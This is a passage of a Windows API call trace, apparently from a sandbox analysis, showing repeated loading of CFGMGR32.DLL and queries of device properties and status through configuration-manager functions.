(lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.812] malloc (_Size=0x18) returned 0x20abc281c00 [0213.812] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0213.813] malloc (_Size=0x28) returned 0x20abc2a9d30 [0213.813] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9d30, pulLength=0x2dc22fd3f8) returned 0x0 [0213.814] free (_Block=0x20abc2a9d30) [0213.814] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3b34da3d, dwHighDateTime=0x1d9eb0c)) [0213.814] SetEvent (hEvent=0x248) returned 1 [0213.817] malloc (_Size=0x18) returned 0x20abc281960 [0213.817] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0213.817] free (_Block=0x20abc281960) [0213.818] malloc (_Size=0x18) returned 0x20abc281d40 [0213.818] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0213.818] free (_Block=0x20abc281d40) [0213.818] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bdf0 [0213.818] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0213.818] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0213.818] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0213.818] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0213.818] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0213.818] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0213.818] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0213.818] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0213.819] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.819] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.820] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0213.820] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bdf0) returned 1 [0213.823] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.823] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.826] malloc (_Size=0x18) returned 0x20abc282020 [0213.826] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.830] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b375ce5, dwHighDateTime=0x1d9eb0c)) [0213.830] SetEvent (hEvent=0x248) returned 1 [0213.834] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.834] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.841] malloc (_Size=0x18) returned 0x20abc281c20 [0213.841] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.841] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b39a0b6, dwHighDateTime=0x1d9eb0c)) [0213.841] SetEvent (hEvent=0x248) returned 1 [0213.844] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.844] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.847] malloc (_Size=0x18) returned 0x20abc281e60 [0213.847] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.848] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b39a0b6, dwHighDateTime=0x1d9eb0c)) [0213.849] SetEvent (hEvent=0x248) returned 1 [0213.855] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.855] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.858] malloc (_Size=0x18) returned 0x20abc281ba0 [0213.858] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.859] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b3c00cc, dwHighDateTime=0x1d9eb0c)) [0213.859] SetEvent (hEvent=0x248) returned 1 [0213.968] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.968] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.971] malloc (_Size=0x18) returned 0x20abc281ba0 [0213.971] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.977] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b4f1415, dwHighDateTime=0x1d9eb0c)) [0213.978] SetEvent (hEvent=0x248) returned 1 [0213.981] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.981] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.984] malloc (_Size=0x18) returned 0x20abc281e60 [0213.985] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0213.985] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3b4f1415, dwHighDateTime=0x1d9eb0c)) [0213.985] SetEvent (hEvent=0x248) returned 1 [0213.989] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.989] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.990] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.991] 